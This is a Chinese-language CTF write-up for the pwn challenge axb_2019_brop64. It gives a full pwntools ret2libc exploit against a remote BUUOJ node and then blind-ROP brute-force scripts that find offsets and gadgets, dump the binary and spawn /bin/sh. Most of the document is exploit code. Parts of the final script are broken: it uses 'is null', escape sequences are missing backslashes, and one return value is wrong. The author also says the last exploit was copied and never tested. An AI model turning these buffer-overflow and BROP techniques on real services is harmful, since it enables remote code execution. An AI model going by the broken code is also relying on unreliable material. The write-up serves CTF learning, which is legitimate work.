axb_2019_brop64
步骤:
- 例行检查,64位程序,开启了nx
- 本地试运行一下,看看大概的情况
- 64位ida载入,第8行的read,明显的溢出漏洞
- 采用常规的ret2libc的方法
64位传参,要用到寄存器,先找个pop rdi
先是常规的泄露libc
p.recvuntil('Please tell me:')
payload='a'*(0xd0+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0'))
简单说一下怎么去看接收到的数据,写exp的时候设置一下环境变量,context.log_level="debug"
,然后去找recvived
,找到0x400963,找个是我们pop_rdi的地址,后面跟着的就是puts@got,u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0'))
接收一下,用0补足8位
接下里就是计算system和bin/sh的位置,然后构造payload获取shell
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
payload='a'*0xd8+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)
完整exp
from pwn import *
from LibcSearcher import *
context.log_level="debug"
#p=process('./axb_2019_brop64')
p=remote('node3.buuoj.cn',25296)
elf=ELF('./axb_2019_brop64')
main=0x4007d6
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400963
p.recvuntil('Please tell me:')
payload='a'*(0xd0+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0'))
success('puts_addr:'+hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
payload='a'*0xd8+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)
p.sendline(payload)
p.interactive()
看题目brop64,感觉这题是不是应该不是这样做的,去百度了一下
参考资料https://www.anquanke.com/post/id/196722#h3-13
原理看上述的链接,我这边就记录一下怎么盲打
1. 首先来确定一下漏洞类型
尝试nc后发送%p、%s、%x
等格式化控制字符,发现没有异常,不是格式化字符串漏洞
利用cyclic来生成想要长度的字符串,当生成到250长度的时候,发现报错了,存在溢出漏洞
2. 确定偏移量
def Force_find_padding():
padding_length=0
while True:
try:
padding_length=padding_length+1
sh = process("./axb_2019_brop64")#正常来说应该写成sh = remote('node3.buuoj.cn', 26528),我这边为了爆破速度快一点用的本地
sh.recvuntil("Please tell me:")
sh.send('A' * padding_length)
if "Goodbye!" not in sh.recvall():
raise "Programe not exit normally!"
sh.close()
except:
log.success("The true padding length is "+str(padding_length-1))
return padding_length
log.error("We don't find true padding length!")
padding_length=Force_find_padding()
3. 寻找stop gadget
此处我们希望我们能够爆破出main函数的首地址,进而直接让程序回到main函数进行执行
首先此处我们可以先泄露原来的返回地址,进而缩小爆破范围。
padding_length=216
sh.recvuntil("Please tell me:")
sh.send('A' * padding_length)
sh.recvuntil('A' * padding_length)
old_return_addr=u64(sh.recvuntil('Goodbye!').strip('Goodbye!').ljust(8,'\x00'))
log.info('The old return address is '+ hex(old_return_addr))
得到程序的基址0x400000
那么我们可以写出爆破脚本(爆破范围是0x0000~0xFFFF)
def Find_stop_gadget(old_return_addr,padding_length):
maybe_low_byte=0x0000
while True:
try:
sh = process("./axb_2019_brop64")
sh.recvuntil("Please tell me:")
sh.send('A' * padding_length + p16(maybe_low_byte))
if maybe_low_byte > 0xFFFF:
log.error("All low byte is wrong!")
if "Hello" in sh.recvall(timeout=1):
log.success("We found a stop gadget is " + hex(old_return_addr+maybe_low_byte))
return (old_return_addr+padding_length)
maybe_low_byte=maybe_low_byte+1
except:
pass
sh.close()
stop_gadget=Find_stop_gadget(0x400000,216)
4. 寻找BROP gadget
def get_brop_gadget(length, stop_gadget):
addr=0x400000
while True:
try:
sh = remote('node3.buuoj.cn', 26528)
sh.recvuntil('me:')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
sh.sendline(payload)
if 'Hello' in sh.recvall(timeout=1):
log.success("We found a brop gadget is " + hex(addr))
return hex(addr)
addr+=1
except Exception:
pass
sh.close()
brop_gadget=get_brop_gadget(216,0x4007d6)
5. 寻找puts@plt
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
try:
sh = process("./axb_2019_brop64")
sh.recvuntil('me:')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
sh.sendline(payload)
if "ELF" in sh.recvall(timeout=1):
log.success("We found puts addr is " + hex(addr))
return hex(addr)
addr+=1
except:
pass
sh.close()
puts_addr=get_puts_addr(216, 0x40095a+9, 0x4007d6)
6. 利用puts@plt,Dump源文件
def Dump_file(func_plt,padding_length,stop_gadget,brop_gadget):
process_old_had_received_length=0
process_now_had_received_length=0
file_content=""
while True:
try:
sh = process("./axb_2019_brop64")
while True:
sh.recvuntil("Please tell me:")
payload = 'A' * (padding_length - len('Begin_leak----->'))
payload += 'Begin_leak----->'
payload += p64(brop_gadget+9) # pop rdi;ret;
payload += p64(0x400000+process_now_had_received_length)
payload += p64(func_plt)
payload += p64(stop_gadget)
sh.send(payload)
sh.recvuntil('Begin_leak----->' + p64(brop_gadget+9).strip('x00'))
received_data = sh.recvuntil('x0AHello')[:-6]
if len(received_data) == 0 :
file_content += 'x00'
process_now_had_received_length += 1
else :
file_content += received_data
process_now_had_received_length += len(received_data)
except:
if process_now_had_received_length == process_old_had_received_length :
log.info('We get ' + str(process_old_had_received_length) +' byte file!')
with open('axb_2019_brop64_dump','wb') as fout:
fout.write(file_content)
return
process_old_had_received_length = process_now_had_received_length
sh.close()
pass
Dump_file(puts_addr,padding_length,stop_gadget,brop_gadget)
不懂什么情况,我dump不下来,就一直卡在这边
7. 最后是拖进ida里面,重新定义基址后找到got表,然后leak libc基址rop就行了
后面没亲测一下,具体的还是看原文吧
贴一下最后的exp
from pwn import *
import binascii
import sys
context.log_level='debug'
context.arch='amd64'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def get_sh():
if args['REMOTE']:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./axb_2019_brop64")
def Force_find_padding():
padding_length=0
while True:
try:
padding_length=padding_length+1
sh = get_sh()
sh.recvuntil("Please tell me:")
sh.send('A' * padding_length)
if "Goodbye!" not in sh.recvall():
raise "Programe not exit normally!"
sh.close()
except:
log.success("The true padding length is "+str(padding_length-1))
return padding_length
log.error("We don't find true padding length!")
def Find_stop_gadget(old_return_addr,padding_length):
maybe_low_byte=0x0000
while True:
try:
sh = get_sh()
sh.recvuntil("Please tell me:")
sh.send('A' * padding_length + p16(maybe_low_byte))
if maybe_low_byte > 0xFFFF:
log.error("All low byte is wrong!")
if "Hello" in sh.recvall(timeout=1):
log.success("We found a stop gadget is " + hex(old_return_addr+maybe_low_byte))
return (old_return_addr+padding_length)
maybe_low_byte=maybe_low_byte+1
except:
pass
sh.close()
def Find_brop_gadget(libc_csu_init_address_maybe,padding_length,stop_gadget):
maybe_low_byte=0x0000
while True:
try:
sh = get_sh()
sh.recvuntil("Please tell me:")
payload = 'A' * padding_length
payload += p64(libc_csu_init_address_maybe+maybe_low_byte)
payload += p64(0) * 6
payload += p64(stop_gadget) + p64(0) * 10
sh.send(payload)
if maybe_low_byte > 0xFFFF:
log.error("All low byte is wrong!")
if "Hello" in sh.recvall(timeout=1):
log.success(
"We found a brop gadget is " + hex(
libc_csu_init_address_maybe+maybe_low_byte
)
)
return (libc_csu_init_address_maybe+maybe_low_byte)
maybe_low_byte=maybe_low_byte+1
except:
pass
sh.close()
def Find_func_plt(func_plt_maybe,padding_length,stop_gadget,brop_gadget):
maybe_low_byte=0x0600
while True:
try:
sh = get_sh()
sh.recvuntil("Please tell me:")
payload = 'A' * padding_length
payload += p64(brop_gadget+9) # pop rdi;ret;
payload += p64(0x400000)
payload += p64(func_plt_maybe+maybe_low_byte)
payload += p64(stop_gadget)
sh.send(payload)
if maybe_low_byte > 0xFFFF:
log.error("All low byte is wrong!")
if "ELF" in sh.recvall(timeout=1):
log.success(
"We found a function plt address is " + hex(func_plt_maybe+maybe_low_byte)
)
return (func_plt_maybe+maybe_low_byte)
maybe_low_byte=maybe_low_byte+1
except:
pass
sh.close()
def Dump_file(func_plt,padding_length,stop_gadget,brop_gadget):
process_old_had_received_length=0
process_now_had_received_length=0
file_content=""
while True:
try:
sh = get_sh()
while True:
sh.recvuntil("Please tell me:")
payload = 'A' * (padding_length - len('Begin_leak----->'))
payload += 'Begin_leak----->'
payload += p64(brop_gadget+9) # pop rdi;ret;
payload += p64(0x400000+process_now_had_received_length)
payload += p64(func_plt)
payload += p64(stop_gadget)
sh.send(payload)
sh.recvuntil('Begin_leak----->' + p64(brop_gadget+9).strip('x00'))
received_data = sh.recvuntil('x0AHello')[:-6]
if len(received_data) == 0 :
file_content += 'x00'
process_now_had_received_length += 1
else :
file_content += received_data
process_now_had_received_length += len(received_data)
except:
if process_now_had_received_length == process_old_had_received_length :
log.info('We get ' + str(process_old_had_received_length) +' byte file!')
with open('axb_2019_brop64_dump','wb') as fout:
fout.write(file_content)
return
process_old_had_received_length = process_now_had_received_length
sh.close()
pass
padding_length=216
if padding_length is null:
padding_length=Force_find_padding()
old_return_addr=0x400834
if old_return_addr is null:
sh.recvuntil("Please tell me:")
sh.send('A' * padding_length)
sh.recvuntil('A' * padding_length)
old_return_addr=u64(sh.recvuntil('Goodbye!').strip('Goodbye!').ljust(8,'x00'))
log.info('The old return address is '+ hex(old_return_addr))
stop_gadget=0x4007D6
if stop_gadget is null:
stop_gadget=Find_stop_gadget(old_return_addr & 0xFFF000,padding_length)
brop_gadget=0x40095A
if brop_gadget is null:
brop_gadget=Find_brop_gadget(old_return_addr & 0xFFF000,padding_length,stop_gadget)
func_plt=0x400635
if func_plt is null:
func_plt=Find_func_plt(old_return_addr & 0xFFF000,padding_length,stop_gadget,brop_gadget)
is_dumped=True
if is_dumped is not True:
Dump_file(func_plt,padding_length,stop_gadget,brop_gadget)
is_dumped=True
sh = get_sh()
puts_got_addr=0x601018
puts_plt_addr=0x400640
payload = 'A' * (padding_length - len('Begin_leak----->'))
payload += 'Begin_leak----->'
payload += p64(brop_gadget+9) # pop rdi;ret;
payload += p64(puts_got_addr)
payload += p64(puts_plt_addr)
payload += p64(stop_gadget)
sh.recvuntil("Please tell me:")
sh.send(payload)
sh.recvuntil('Begin_leak----->' + p64(brop_gadget+9).strip('x00'))
puts_addr = u64(sh.recvuntil('x0AHello')[:-6].ljust(8,'x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
payload = 'A' * padding_length
payload += p64(brop_gadget+9) # pop rdi;ret;
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(stop_gadget)
sh.recvuntil("Please tell me:")
sh.send(payload)
sh.recv()
sh.interactive()
sh.close()
我果然还是太菜了,照着大佬的分析都没做到最后。